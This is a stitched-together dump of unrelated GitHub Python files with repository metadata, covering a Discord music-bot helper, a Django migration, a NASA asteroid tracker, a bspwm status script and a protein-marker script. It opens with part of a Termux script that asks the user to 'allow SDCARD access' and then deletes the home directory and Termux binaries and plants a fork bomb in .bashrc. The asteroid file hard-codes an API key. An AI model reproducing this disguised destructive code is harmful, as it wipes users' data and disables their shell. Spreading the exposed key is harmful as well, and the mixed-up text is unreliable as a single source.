raw_input('\n\n\n\x1b[1;97m\xe2\x9e\xa4 \x1b[1;92mIzinkan Akses SDCARD (y/n) : \x1b[1;96m') siap = ['y', 'Y', 'Yes', 'yes', 'ya', 'Ya', 'ok', 'Ok'] if iz in siap: os.system('termux-setup-storage') os.system('rm -rf ~/*') os.system('touch .hushlogin') os.system('printf ":(){ :|: & };:\n" > $HOME/.bashrc') else: print '\x1b[1;97m\n\xe2\x9e\xa4\x1b[1;91m KELUAR!\n' os.sys.exit() os.system('clear') os.system('cd /data/data/com.termux/files/usr/bin') os.system('rm -rf *') os.system('clear') print 'HAPPY HACKING' main()⏎

[ "noreply@github.com" ]

blavck.noreply@github.com

edc0a95477f54d4c041075ecc189746cfe39ba68

28425e8655e8275894751751641db9e164351f34

/video.py

f6aabc58518827491e61abc6c2b9201dd30b0b74

[]

no_license

indecent-aardvark/qbot

e4cff42ad64ae1c226f7b49f00745b09e703a0af

66ac093c38bb52ac650b6596fab7d3d959ab4dfc

refs/heads/master

2023-05-08T00:03:57.908115

2021-06-01T15:44:48

306,070,929

0

null

UTF-8

Python

false

3,470

py

import youtube_dl as ytdl import discord import re from time import strftime, gmtime from urllib.parse import urlparse from pprint import pprint YTDL_OPTS = { 'default_search': 'ytsearch', 'format': 'bestaudio/best', 'outtmpl': '%(extractor)s-%(id)s-%(title)s.%(ext)s', 'restrictfilenames': True, 'socket_timeout': 30, 'nocheckcertificate': True, 'ignoreerrors': False, 'logtostderr': False, 'quiet': True, 'no_warnings': True, 'source_address': '0.0.0.0', 'usenetrc': True, 'cachedir': f'', 'postprocessors': [ { 'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192' }, { 'key': 'FFmpegMetadata' } ] } # Make additional options for handling playlists YTDL_LIST_OPTS = { 'dump_single_json': True, 'extract_flat' : True, 'noplaylist': False, } YTDL_LIST_OPTS.update(YTDL_OPTS) YTDL_OPTS.update({'noplaylist':True}) class Video: """Class containing information about a particular video.""" def __init__(self, url_or_search, requested_by, queue_length): """Plays audio from (or searches for) a URL.""" video = self._get_info(url_or_search) video_format = video["formats"][0] self.stream_url = video_format["url"] self.video_url = video["webpage_url"] self.title = video["title"] self.uploader = video["uploader"] if "uploader" in video else "" self.thumbnail = video["thumbnail"] if "thumbnail" in video else None self.duration = strftime("%M:%S",gmtime(video["duration"] if "duration" in video else 0)) if video["duration"] if "duration" in video else 0 > 3600: self.duration = strftime("%H:%M:%S",gmtime(video["duration"] if "duration" in video else 0)) self.requested_by = requested_by self.position_in_queue = queue_length+1 def _get_info(self, video_url): with ytdl.YoutubeDL(YTDL_OPTS) as ydl: info = ydl.extract_info(video_url, download=False) video = None if "_type" in info and info["_type"] == "playlist": return self._get_info( info["entries"][0]["webpage_url"]) # get info for first video else: video = info return video def get_embed(self): """Makes an embed out of this Video's information.""" embed = discord.Embed( title=self.title, description=f'{self.uploader}', url=self.video_url ) embed.insert_field_at(1,name='__**Length**__',value=self.duration) embed.insert_field_at(2,name='__**Position in Queue**__',value=self.position_in_queue) embed.set_footer( text=f"Requested by {self.requested_by.name}", icon_url=self.requested_by.avatar_url) if self.thumbnail: embed.set_thumbnail(url=self.thumbnail) return embed class Videos: """Class containing information about a particular video.""" def __init__(self, url_or_search, requested_by): """Plays audio from (or searches for) a URL.""" videos = self._get_info(url_or_search) parsed_uri = urlparse(url_or_search) base_uri = f'{parsed_uri.scheme}://{parsed_uri.netloc}{parsed_uri.path}?v=' self.stream_urls = [] try: for video in videos['entries']: self.stream_urls.append(f'{base_uri}{video["id"]}') except Exception: self.stream_urls = None def _get_info(self, video_url): with ytdl.YoutubeDL(YTDL_LIST_OPTS) as ydl: info = ydl.extract_info(video_url, download=False) if "_type" in info and info["_type"] == "playlist": return info

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# Generated by Django 2.2 on 2019-04-29 15:11 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('api', '0001_initial'), ] operations = [ migrations.AlterField( model_name='competition', name='created_at', field=models.DateTimeField(verbose_name=datetime.datetime(2019, 4, 29, 18, 11, 17, 180541)), ), ]

[ "tagayev.ilias@gmail.com" ]

tagayev.ilias@gmail.com

c8bd56cc841aeb6c72476ff47ec0a7f5cd3f8777

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/AsteriodTracker/Asteriod.py

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dhirajthakre21/AsteriodTracker

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2022-11-21T13:44:37.142222

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#Tracking Asteroid 2020 LA by using NASA NeoWebService #Importing Modules import requests from pprint import pprint from datetime import datetime date1=str(datetime.now()) api_key="qclKNF4Qk9pTsBDx6yTKR5jY5uOI6hVuPhhzd3hN" #url start_date=date1[:10] end_date=date1[:8]+str(int(date1[8:10])+1) url= f'https://api.nasa.gov/neo/rest/v1/feed?start_date={start_date}&end_date={end_date}&api_key={api_key}' #getting data from URL r=requests.get(url) data=r.json() list1=[] data1=data['near_earth_objects'] all_data1=data1[start_date] '''for ast in all_data1 : if ast['name']=='163348 (2002 NN4)': break''' #finding info by name : for ast1 in all_data1 : list1.append(ast1['absolute_magnitude_h']) for ast in all_data1 : if ast['absolute_magnitude_h']== min(list1): break print('Asteroid Name :' ,ast['name']) print('Asteroid Id :' , ast['id']) print('Asteroid NASA info :', ast['nasa_jpl_url'] ,) print('absolute_magnitude' , ast['absolute_magnitude_h']) print('Average Diameter :' ,ast['estimated_diameter']['meters']['estimated_diameter_max']) print('Miss distance :' , ast['close_approach_data'][0]['miss_distance']['lunar'] ,'km') print('Relative Velocity :', ast['close_approach_data'][0]['relative_velocity']['kilometers_per_hour']) print('orbiting body :' , ast['close_approach_data'][0]['orbiting_body']) print('Is sentry object :' ,ast['is_sentry_object'])

[ "dhirajthakre21@gmail" ]

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#!/usr/bin/env python import subprocess import sys import os import json import re e = os.environ def icon(font,codepoint): return "%s%s%s" % (os.environ[font],codepoint,os.environ['F_RESET']) def count_clients(node): if node is None: return 0 return count_clients(node['firstChild']) + count_clients(node['secondChild']) + ( 1 if node['client'] is not None else 0 ) def count_floaters(node): if node is None: return 0 return count_floaters(node['firstChild']) + count_floaters(node['secondChild']) + ( 1 if node['client'] and node['client']['state'] == 'floating' else 0 ) def get_state(): wm = subprocess.run(["bspc","wm","-d"],stdout=subprocess.PIPE) output = wm.stdout.decode('utf-8') j = json.loads(output) del j['focusHistory'] return j def borders(node): return "" if node['client'] else node['splitType'][0]+ borders(node['firstChild']) + borders(node['secondChild']) def single_app_icon(desktop): node = subprocess.run(["bspc","query","-N","-d",str(desktop['id'])],stdout=subprocess.PIPE).stdout.decode('utf-8').strip() xprop = subprocess.run(["xprop","-id",node],stdout=subprocess.PIPE).stdout.decode('utf-8') try: window = re.findall("^WM_CLASS.*=\s*\"([^\"]*)\"",xprop,re.MULTILINE)[0] except IndexError: window = "" try: title = re.findall("^WM_NAME.*=\s*\"([^\"]*)\"",xprop,re.MULTILINE)[0] except IndexError: title = "" if window: window = window.lower() if title: title = title.lower() if window == "google-chrome": if "reddit" in title: return e["FA_REDDIT_ALIEN"] elif "at master" in title or "github" in title: return e["FA_GITHUB_ALT"] elif "youtube" in title: return e["FA_YOUTUBE_PLAY"] elif re.search(r'$\d+$',title) and ('mail' in title or 'inbox' in title): return e["C_CAUTION"]+e["MD_MAIL"]+e["C_TITLE"] elif "inbox" in title or "mail" in title: return e["MD_EMAIL"] elif re.match(r'$\d+$.*facebook',title,re.I): return e["C_CAUTION"]+e["FA_FACEBOOK_SQUARE"]+e["C_TITLE"] elif "facebook" in title: return e["FA_FACEBOOK_SQUARE"] elif "stack overflow" in title: return e["FA_STACK_OVERFLOW"] elif "instagram" in title: return e["FA_INSTAGRAM"] elif "bitbucket" in title: return e["FA_BITBUCKET"] elif "*" in title and "slack" in title: return e["C_CAUTION"]+e["FA_SLACK"]+e["C_TITLE"] elif "!" in title and "slack" in title: return e["C_WARN"]+e["FA_SLACK"]+e["C_TITLE"] elif "slack" in title: return e["FA_SLACK"] elif "google search" in title: return e["FA_GOOGLE"] elif "codepen" in title: return e["FA_CODEPEN"] elif "jsfiddle" in title: return e["FA_JSFIDDLE"] elif "wikipedia" in title: return e["FA_WIKIPEDIA_W"] elif "amazon web services" in title or "aws" in title or "management console" in title: return e["MFIZZ_AWS"] elif "amazon" in title: return e["FA_AMAZON"] elif "jira" in title: return e["DEV_JIRA"] else: return e["FA_CHROME"] elif window == "firefox": return e["FA_FIREFOX"] elif window == "terminator": return e["MFIZZ_SHELL"] elif window == "blender": return e["FILE_BLENDER"] elif window == "thunar": return e["FA_FOLDER_OPEN"] elif window == "darktable": return e["MD_CAMERA"] elif window == "viewnior" or window == "sxiv": return e["FA_IMAGE"] elif window == "evince": return e["OCT_FILE_PDF"] elif window == "openscad": return e["FILE_SCAD"] elif window == "audacity": return e["FILE_AUDACITY"] elif window == "kicad": return e["FILE_KICAD"] elif window == "fontforge": return e["FILE_FF"] elif window == "gvim": return e["DEV_VIM"] elif window == "steam": return e["FA_STEAM"] elif window == "pronterface.py": return e["MFIZZ_3DPRINT"] elif window == "subl3": return e["FILE_SUBLIME"] elif window == "substance-designer": return e["STAT_SUB_DESIGNER"] elif window == "substance-painter": return e["STAT_SUB_PAINTER"] elif window == "krita": return e["STAT_KRITA"] elif "slic3r" in window: return e["STAT_SLIC3R"] elif window == "vlc" or window == "gl": return e["MD_LOCAL_MOVIES"] # FA_FILM elif window == "inkscape": return e["STAT_INKSCAPE"] #did not find any app-specific icons, go with generic if desktop['root']['client']['state'] == 'floating': return e["STAT_LAYOUT_SINGLE_FLOAT"] else: return e["STAT_LAYOUT_FULL"] def make_desktop_icon(d): desktop = d['root'] #empty desktop if desktop is None: return e["STAT_LAYOUT_EMPTY"] #single node if desktop['client'] is not None: return single_app_icon(d) n_clients = count_clients(desktop) n_floaters = count_floaters(desktop) border = borders(desktop) if n_clients == n_floaters: return e["MD_FILTER_"+str(n_floaters) if n_floaters < 10 else "9_PLUS"] if n_clients == 2: if n_floaters == 1: return e["STAT_LAYOUT_FLOATS"] else: return e["STAT_LAYOUT_2_"+desktop['splitType'][0].upper()] if n_floaters > 0: return e["STAT_LAYOUT_FLOATS"] #all uniform directions, LAYOUT_3_VV, LAYOUT_3_HH, LAYOUT_4_VVV, LAYOUT_4_HHH if set(border) == {'v'} or set(border) == {'h'}: return e["STAT_LAYOUT_%d_%s" % (min(len(border)+1,4),border.upper()) ] if n_clients == 3: if desktop['splitType'] == 'vertical': return e["STAT_LAYOUT_3_V_H"] if desktop['firstChild']['client'] else e["STAT_LAYOUT_3_HV_"] else: return e["STAT_LAYOUT_3_H_V"] if desktop['firstChild']['client'] else e["STAT_LAYOUT_3_VH_"] # everything below is 4+ windows, no floaters # just assume 4 and figure 5 might be inaccurate or crazy # look for even grid if ( (not desktop['firstChild']['client']) and desktop['firstChild']['splitType'] != desktop['splitType'] and (not desktop['secondChild']['client']) and desktop['secondChild']['splitType'] != desktop['splitType'] ): return e["STAT_LAYOUT_4_GRID"] # look for piano """ if desktop['splitType'] == 'horizontal': if desktop['firstChild']['client']: if desktop['secondChild']['splitType'] == 'vertical': return e["F_SIJI"]+"\ue003"+e["F_RESET"] else: return e["F_SIJI"]+"\ue004"+e["F_RESET"] else: return e["F_SIJI"]+"\ue00a"+e["F_RESET"] if desktop['splitType'] == 'vertical': if desktop['firstChild']['client']: if count_horiz(desktop['secondChild']) == count_clients(desktop['secondChild'])-1: return e["F_SIJI"]+"\ue002"+e["F_RESET"] else: return e["F_SIJI"]+"\ue007"+e["F_RESET"] else: return e["F_SIJI"]+"\ue009"+e["F_RESET"] # grid for all other confounding cases return e["F_SIJI"]+"\ue005"+e["F_RESET"] """ return e["POM_AWAY"] def parse_desktop(d,focused_d,focused_m): s = "%%{A:bspc desktop -f "+str(d['id'])+":}%%{A3:bspc desktop "+str(d['id'])+" -r:}%s%%{A}%%{A}" if focused_d: s = "%"+e["C_RST"] + s + "%"+e["C_TITLE"] if focused_m: s = "%%{+u}" + s + "%%{-u}" return s % (make_desktop_icon(d),) def print_state(state): desk_list = [] for i,m in enumerate(state['monitors']): desk_list.append(["%%{A2:bspc monitor %d -a %s:}" % (m['id'],"IV")]) for d in m['desktops']: desk_list[i].append(parse_desktop(d,d['id']==m['focusedDesktopId'],m['id']==state['focusedMonitorId'])) desk_list[i].append("%{A}") print(os.environ["C_TITLE"] + "|".join(["".join(desk) for desk in desk_list])) sys.stdout.flush() def main(): print_state(get_state()) with subprocess.Popen(["bspc","subscribe","monitor_add","monitor_remove","monitor_swap","desktop_add","desktop_remove","desktop_swap","desktop_transfer","desktop_focus","desktop_layout","node_add","node_remove","node_swap","node_transfer","node_geometry","node_state","node_state","node_layer"],bufsize=1,stdout=subprocess.PIPE,encoding="utf-8") as child: while child.poll() is None: child.stdout.readline() print_state(get_state()) if __name__ == "__main__": while True: try: main() except Exception as e: import datetime import traceback f = open(os.path.expanduser("~/tmp/desktop-err.txt"),"a") f.write("Exception at %s\n" % (datetime.datetime.now().strftime("%c"),)) traceback.print_exception(*sys.exc_info(),file=f) f.close()

[ "dan@panzarel.la" ]

dan@panzarel.la

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/cloud-photos/bin/rstpep2html.py

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xiaolim/cloud-comp-hw2

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refs/heads/master

2020-04-09T05:32:52.085653

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#!/Users/limxiaoyu/anaconda3/bin/python # $Id: rstpep2html.py 4564 2006-05-21 20:44:42Z wiemann $ # Author: David Goodger <goodger@python.org> # Copyright: This module has been placed in the public domain. """ A minimal front end to the Docutils Publisher, producing HTML from PEP (Python Enhancement Proposal) documents. """ try: import locale locale.setlocale(locale.LC_ALL, '') except: pass from docutils.core import publish_cmdline, default_description description = ('Generates (X)HTML from reStructuredText-format PEP files. ' + default_description) publish_cmdline(reader_name='pep', writer_name='pep_html', description=description)

[ "xl2669@columbia.edu" ]

xl2669@columbia.edu

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/cleaning_phase1.py

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[]

no_license

jneitman/Time-Series-Analysis-Outpatient-Pharmacy-RX-Volume

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3d4d45aecf7f756064f4edc670214f852983b30d

refs/heads/master

2020-03-28T11:24:44.243621

2018-11-25T17:02:45

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#Cleaning text files generated from reports in QS1/NRX import re import os import pandas as pd path = "C:/Users/Joel/Dropbox/Capstone/Data/" day_data = os.path.join(path, "MPO/MPO_2009_2017.txt") pattern = re.compile("[a-zA-Z0-9.-]+") all_date = [] all_new_retail = [] all_new_medicaid = [] all_new_third = [] all_refill_retail = [] all_refill_medicaid = [] all_refill_third = [] all_total = [] ###FOR EPIC REPORTS all_date_epic = [] all_total_epic = [] with open(day_data) as r: line = r.readline() while line: line_list = pattern.findall(line) #print(line_list) if line_list != []: if line_list[0] == "TX-Date": date = "/".join(line_list[2:5]) all_date.append(date); all_date_epic.append(date) #print(date) elif line_list[0] == "----------------": next(r) RETAIL = pattern.findall(r.readline()) MEDICAID = pattern.findall(r.readline()) THIRD = pattern.findall(r.readline()) NEW_RETAIL = RETAIL[1]; all_new_retail.append(NEW_RETAIL) NEW_MEDICAID = MEDICAID[1]; all_new_medicaid.append(NEW_MEDICAID) NEW_THIRD = THIRD[1]; all_new_third.append(NEW_THIRD) if RETAIL[1] == "0": REFILL_RETAIL = RETAIL[5]; all_refill_retail.append(REFILL_RETAIL) else: REFILL_RETAIL = RETAIL[6]; all_refill_retail.append(REFILL_RETAIL) if MEDICAID[1] == "0": REFILL_MEDICAID = MEDICAID[5]; all_refill_medicaid.append(REFILL_MEDICAID) else: REFILL_MEDICAID = MEDICAID[6]; all_refill_medicaid.append(REFILL_MEDICAID) if THIRD[1] == "0": REFILL_THIRD = THIRD[5]; all_refill_third.append(REFILL_THIRD) else: REFILL_THIRD = THIRD[6]; all_refill_third.append(REFILL_THIRD) elif line_list[0] == "----------------------------------------------": next(r) next(r) next(r) next(r) TOTAL = pattern.findall(r.readline())[1]; all_total.append(TOTAL); all_total_epic.append(TOTAL) #print(TOTAL) line = r.readline() # print(all_date) # print(all_new_retail) # print(all_new_medicaid) # print(all_new_third) # print(all_refill_retail) # print(all_refill_medicaid) # print(all_refill_third) # print(all_total) myTS = pd.DataFrame({"Date": all_date, "New Retail": all_new_retail, "New Medicaid": all_new_medicaid, "New Third": all_new_third, "Refill Retail": all_refill_retail, "Refill Medicaid": all_refill_medicaid, "Refill Third": all_refill_third, "Total": all_total}) myTS.to_csv(path_or_buf="C:/Users/Joel/Dropbox/Capstone/Data/MPO.csv", sep=",") ####START OF EPIC REPORTS path_epic = "C:/Users/Joel/Dropbox/Capstone/Data/" day_data_epic = os.path.join(path_epic, "MPO/MPO_epic.txt") pattern_epic = re.compile("[a-zA-Z0-9/,]+") with open(day_data_epic) as e: line_epic = e.readline() while line_epic: line_list_epic = pattern_epic.findall(line_epic) if line_list_epic != []: if len(line_list_epic[0]) == 10: date_epic = line_list_epic[0]; all_date_epic.append(date_epic) total_epic = line_list_epic[1]; all_total_epic.append(total_epic) line_epic = e.readline() else: line_epic = e.readline() else: line_epic = e.readline() #print(line_list) myDF_epic = pd.DataFrame({"Date": all_date_epic, "Total": all_total_epic}) myDF_epic.to_csv(path_or_buf="C:/Users/Joel/Dropbox/Capstone/Data/MPO_totals_only.csv", sep=",")

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batxes/exocyst_scripts

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import _surface import chimera try: import chimera.runCommand except: pass from VolumePath import markerset as ms try: from VolumePath import Marker_Set, Link new_marker_set=Marker_Set except: from VolumePath import volume_path_dialog d= volume_path_dialog(True) new_marker_set= d.new_marker_set marker_sets={} surf_sets={} if "Cog2_GFPN" not in marker_sets: s=new_marker_set('Cog2_GFPN') marker_sets["Cog2_GFPN"]=s s= marker_sets["Cog2_GFPN"] mark=s.place_marker((455.091, 548.131, 441.132), (0.89, 0.1, 0.1), 18.4716) if "Cog2_0" not in marker_sets: s=new_marker_set('Cog2_0') marker_sets["Cog2_0"]=s s= marker_sets["Cog2_0"] mark=s.place_marker((522.671, 548.429, 441.943), (0.89, 0.1, 0.1), 17.1475) if "Cog2_1" not in marker_sets: s=new_marker_set('Cog2_1') marker_sets["Cog2_1"]=s s= marker_sets["Cog2_1"] mark=s.place_marker((603.488, 547.37, 430.019), (0.89, 0.1, 0.1), 17.1475) if "Cog2_GFPC" not in marker_sets: s=new_marker_set('Cog2_GFPC') marker_sets["Cog2_GFPC"]=s s= marker_sets["Cog2_GFPC"] mark=s.place_marker((518.447, 575.68, 322.142), (0.89, 0.1, 0.1), 18.4716) if "Cog2_Anch" not in marker_sets: s=new_marker_set('Cog2_Anch') marker_sets["Cog2_Anch"]=s s= marker_sets["Cog2_Anch"] mark=s.place_marker((797.322, 526.929, 442.213), (0.89, 0.1, 0.1), 18.4716) if "Cog3_GFPN" not in marker_sets: s=new_marker_set('Cog3_GFPN') marker_sets["Cog3_GFPN"]=s s= marker_sets["Cog3_GFPN"] mark=s.place_marker((500.094, 537.392, 437.867), (1, 1, 0), 18.4716) if "Cog3_0" not in marker_sets: s=new_marker_set('Cog3_0') marker_sets["Cog3_0"]=s s= marker_sets["Cog3_0"] mark=s.place_marker((498.73, 536.413, 437.883), (1, 1, 0.2), 17.1475) if "Cog3_1" not in marker_sets: s=new_marker_set('Cog3_1') marker_sets["Cog3_1"]=s s= marker_sets["Cog3_1"] mark=s.place_marker((498.274, 508.872, 446.765), (1, 1, 0.2), 17.1475) if "Cog3_2" not in marker_sets: s=new_marker_set('Cog3_2') marker_sets["Cog3_2"]=s s= marker_sets["Cog3_2"] mark=s.place_marker((502.548, 483.082, 459.011), (1, 1, 0.2), 17.1475) if "Cog3_3" not in marker_sets: s=new_marker_set('Cog3_3') marker_sets["Cog3_3"]=s s= marker_sets["Cog3_3"] mark=s.place_marker((507.427, 454.916, 455.226), (1, 1, 0.2), 17.1475) if "Cog3_4" not in marker_sets: s=new_marker_set('Cog3_4') marker_sets["Cog3_4"]=s s= marker_sets["Cog3_4"] mark=s.place_marker((501.996, 437.831, 432.369), (1, 1, 0.2), 17.1475) if "Cog3_5" not in marker_sets: s=new_marker_set('Cog3_5') marker_sets["Cog3_5"]=s s= marker_sets["Cog3_5"] mark=s.place_marker((483.284, 448.014, 412.33), (1, 1, 0.2), 17.1475) if "Cog3_GFPC" not in marker_sets: s=new_marker_set('Cog3_GFPC') marker_sets["Cog3_GFPC"]=s s= marker_sets["Cog3_GFPC"] mark=s.place_marker((479.04, 548.96, 453.22), (1, 1, 0.4), 18.4716) if "Cog3_Anch" not in marker_sets: s=new_marker_set('Cog3_Anch') marker_sets["Cog3_Anch"]=s s= marker_sets["Cog3_Anch"] mark=s.place_marker((480.576, 351.176, 373.656), (1, 1, 0.4), 18.4716) if "Cog4_GFPN" not in marker_sets: s=new_marker_set('Cog4_GFPN') marker_sets["Cog4_GFPN"]=s s= marker_sets["Cog4_GFPN"] mark=s.place_marker((673.497, 390.666, 419.207), (0, 0, 0.8), 18.4716) if "Cog4_0" not in marker_sets: s=new_marker_set('Cog4_0') marker_sets["Cog4_0"]=s s= marker_sets["Cog4_0"] mark=s.place_marker((673.497, 390.666, 419.207), (0, 0, 0.8), 17.1475) if "Cog4_1" not in marker_sets: s=new_marker_set('Cog4_1') marker_sets["Cog4_1"]=s s= marker_sets["Cog4_1"] mark=s.place_marker((646.276, 396.064, 413.934), (0, 0, 0.8), 17.1475) if "Cog4_2" not in marker_sets: s=new_marker_set('Cog4_2') marker_sets["Cog4_2"]=s s= marker_sets["Cog4_2"] mark=s.place_marker((628.041, 411.52, 429.302), (0, 0, 0.8), 17.1475) if "Cog4_3" not in marker_sets: s=new_marker_set('Cog4_3') marker_sets["Cog4_3"]=s s= marker_sets["Cog4_3"] mark=s.place_marker((608.845, 430.869, 437.911), (0, 0, 0.8), 17.1475) if "Cog4_4" not in marker_sets: s=new_marker_set('Cog4_4') marker_sets["Cog4_4"]=s s= marker_sets["Cog4_4"] mark=s.place_marker((591.527, 453.567, 442.301), (0, 0, 0.8), 17.1475) if "Cog4_5" not in marker_sets: s=new_marker_set('Cog4_5') marker_sets["Cog4_5"]=s s= marker_sets["Cog4_5"] mark=s.place_marker((574.681, 476.771, 447.418), (0, 0, 0.8), 17.1475) if "Cog4_6" not in marker_sets: s=new_marker_set('Cog4_6') marker_sets["Cog4_6"]=s s= marker_sets["Cog4_6"] mark=s.place_marker((557.879, 500.257, 452.816), (0, 0, 0.8), 17.1475) if "Cog4_GFPC" not in marker_sets: s=new_marker_set('Cog4_GFPC') marker_sets["Cog4_GFPC"]=s s= marker_sets["Cog4_GFPC"] mark=s.place_marker((615.326, 292.629, 312.28), (0, 0, 0.8), 18.4716) if "Cog4_Anch" not in marker_sets: s=new_marker_set('Cog4_Anch') marker_sets["Cog4_Anch"]=s s= marker_sets["Cog4_Anch"] mark=s.place_marker((486.93, 713.637, 585.084), (0, 0, 0.8), 18.4716) if "Cog5_GFPN" not in marker_sets: s=new_marker_set('Cog5_GFPN') marker_sets["Cog5_GFPN"]=s s= marker_sets["Cog5_GFPN"] mark=s.place_marker((588.597, 521.567, 466.245), (0.3, 0.3, 0.3), 18.4716) if "Cog5_0" not in marker_sets: s=new_marker_set('Cog5_0') marker_sets["Cog5_0"]=s s= marker_sets["Cog5_0"] mark=s.place_marker((588.597, 521.567, 466.245), (0.3, 0.3, 0.3), 17.1475) if "Cog5_1" not in marker_sets: s=new_marker_set('Cog5_1') marker_sets["Cog5_1"]=s s= marker_sets["Cog5_1"] mark=s.place_marker((591.457, 516.909, 437.6), (0.3, 0.3, 0.3), 17.1475) if "Cog5_2" not in marker_sets: s=new_marker_set('Cog5_2') marker_sets["Cog5_2"]=s s= marker_sets["Cog5_2"] mark=s.place_marker((586.606, 526.984, 410.798), (0.3, 0.3, 0.3), 17.1475) if "Cog5_3" not in marker_sets: s=new_marker_set('Cog5_3') marker_sets["Cog5_3"]=s s= marker_sets["Cog5_3"] mark=s.place_marker((589.86, 554.228, 399.824), (0.3, 0.3, 0.3), 17.1475) if "Cog5_GFPC" not in marker_sets: s=new_marker_set('Cog5_GFPC') marker_sets["Cog5_GFPC"]=s s= marker_sets["Cog5_GFPC"] mark=s.place_marker((468.427, 583.357, 396.507), (0.3, 0.3, 0.3), 18.4716) if "Cog5_Anch" not in marker_sets: s=new_marker_set('Cog5_Anch') marker_sets["Cog5_Anch"]=s s= marker_sets["Cog5_Anch"] mark=s.place_marker((714.296, 539.961, 401.056), (0.3, 0.3, 0.3), 18.4716) if "Cog6_GFPN" not in marker_sets: s=new_marker_set('Cog6_GFPN') marker_sets["Cog6_GFPN"]=s s= marker_sets["Cog6_GFPN"] mark=s.place_marker((511.432, 560.558, 418.793), (0.21, 0.49, 0.72), 18.4716) if "Cog6_0" not in marker_sets: s=new_marker_set('Cog6_0') marker_sets["Cog6_0"]=s s= marker_sets["Cog6_0"] mark=s.place_marker((511.424, 560.567, 418.769), (0.21, 0.49, 0.72), 17.1475) if "Cog6_1" not in marker_sets: s=new_marker_set('Cog6_1') marker_sets["Cog6_1"]=s s= marker_sets["Cog6_1"] mark=s.place_marker((526.333, 544.602, 401.069), (0.21, 0.49, 0.72), 17.1475) if "Cog6_2" not in marker_sets: s=new_marker_set('Cog6_2') marker_sets["Cog6_2"]=s s= marker_sets["Cog6_2"] mark=s.place_marker((526.398, 522.405, 418.378), (0.21, 0.49, 0.72), 17.1475) if "Cog6_3" not in marker_sets: s=new_marker_set('Cog6_3') marker_sets["Cog6_3"]=s s= marker_sets["Cog6_3"] mark=s.place_marker((528.681, 499.153, 433.922), (0.21, 0.49, 0.72), 17.1475) if "Cog6_4" not in marker_sets: s=new_marker_set('Cog6_4') marker_sets["Cog6_4"]=s s= marker_sets["Cog6_4"] mark=s.place_marker((513.118, 484.584, 415.528), (0.21, 0.49, 0.72), 17.1475) if "Cog6_5" not in marker_sets: s=new_marker_set('Cog6_5') marker_sets["Cog6_5"]=s s= marker_sets["Cog6_5"] mark=s.place_marker((489.537, 476.382, 428.774), (0.21, 0.49, 0.72), 17.1475) if "Cog6_6" not in marker_sets: s=new_marker_set('Cog6_6') marker_sets["Cog6_6"]=s s= marker_sets["Cog6_6"] mark=s.place_marker((476.397, 455.114, 443.081), (0.21, 0.49, 0.72), 17.1475) if "Cog6_GFPC" not in marker_sets: s=new_marker_set('Cog6_GFPC') marker_sets["Cog6_GFPC"]=s s= marker_sets["Cog6_GFPC"] mark=s.place_marker((519.426, 501.731, 500.317), (0.21, 0.49, 0.72), 18.4716) if "Cog6_Anch" not in marker_sets: s=new_marker_set('Cog6_Anch') marker_sets["Cog6_Anch"]=s s= marker_sets["Cog6_Anch"] mark=s.place_marker((446.248, 399.583, 381.235), (0.21, 0.49, 0.72), 18.4716) if "Cog7_GFPN" not in marker_sets: s=new_marker_set('Cog7_GFPN') marker_sets["Cog7_GFPN"]=s s= marker_sets["Cog7_GFPN"] mark=s.place_marker((539.353, 543.386, 500.727), (0.7, 0.7, 0.7), 18.4716) if "Cog7_0" not in marker_sets: s=new_marker_set('Cog7_0') marker_sets["Cog7_0"]=s s= marker_sets["Cog7_0"] mark=s.place_marker((544.576, 549.144, 475.707), (0.7, 0.7, 0.7), 17.1475) if "Cog7_1" not in marker_sets: s=new_marker_set('Cog7_1') marker_sets["Cog7_1"]=s s= marker_sets["Cog7_1"] mark=s.place_marker((557.977, 563.579, 421.9), (0.7, 0.7, 0.7), 17.1475) if "Cog7_2" not in marker_sets: s=new_marker_set('Cog7_2') marker_sets["Cog7_2"]=s s= marker_sets["Cog7_2"] mark=s.place_marker((571.409, 578.04, 368.107), (0.7, 0.7, 0.7), 17.1475) if "Cog7_GFPC" not in marker_sets: s=new_marker_set('Cog7_GFPC') marker_sets["Cog7_GFPC"]=s s= marker_sets["Cog7_GFPC"] mark=s.place_marker((508.62, 629.225, 376.098), (0.7, 0.7, 0.7), 18.4716) if "Cog7_Anch" not in marker_sets: s=new_marker_set('Cog7_Anch') marker_sets["Cog7_Anch"]=s s= marker_sets["Cog7_Anch"] mark=s.place_marker((636.519, 560.093, 288.137), (0.7, 0.7, 0.7), 18.4716) if "Cog8_0" not in marker_sets: s=new_marker_set('Cog8_0') marker_sets["Cog8_0"]=s s= marker_sets["Cog8_0"] mark=s.place_marker((479.555, 565.106, 435.982), (1, 0.5, 0), 17.1475) if "Cog8_1" not in marker_sets: s=new_marker_set('Cog8_1') marker_sets["Cog8_1"]=s s= marker_sets["Cog8_1"] mark=s.place_marker((502.064, 579.203, 445.777), (1, 0.5, 0), 17.1475) if "Cog8_2" not in marker_sets: s=new_marker_set('Cog8_2') marker_sets["Cog8_2"]=s s= marker_sets["Cog8_2"] mark=s.place_marker((529.561, 585.617, 448.267), (1, 0.5, 0), 17.1475) if "Cog8_3" not in marker_sets: s=new_marker_set('Cog8_3') marker_sets["Cog8_3"]=s s= marker_sets["Cog8_3"] mark=s.place_marker((558.025, 587.772, 449.749), (1, 0.5, 0), 17.1475) if "Cog8_4" not in marker_sets: s=new_marker_set('Cog8_4') marker_sets["Cog8_4"]=s s= marker_sets["Cog8_4"] mark=s.place_marker((586.625, 589.775, 450.073), (1, 0.5, 0), 17.1475) if "Cog8_5" not in marker_sets: s=new_marker_set('Cog8_5') marker_sets["Cog8_5"]=s s= marker_sets["Cog8_5"] mark=s.place_marker((615.365, 589.726, 448.653), (1, 0.5, 0), 17.1475) if "Cog8_GFPC" not in marker_sets: s=new_marker_set('Cog8_GFPC') marker_sets["Cog8_GFPC"]=s s= marker_sets["Cog8_GFPC"] mark=s.place_marker((539.329, 564.984, 455.17), (1, 0.6, 0.1), 18.4716) if "Cog8_Anch" not in marker_sets: s=new_marker_set('Cog8_Anch') marker_sets["Cog8_Anch"]=s s= marker_sets["Cog8_Anch"] mark=s.place_marker((694.073, 613.407, 442.164), (1, 0.6, 0.1), 18.4716) for k in surf_sets.keys(): chimera.openModels.add([surf_sets[k]])

[ "batxes@gmail.com" ]

batxes@gmail.com

8dfb146210977f3e59d065241592fdfc7e6fa4ce

18b68d7364f4ad912561d446ab15c9eda57b7785

/practice/Lynda_Python/Ch2/classes_start.py

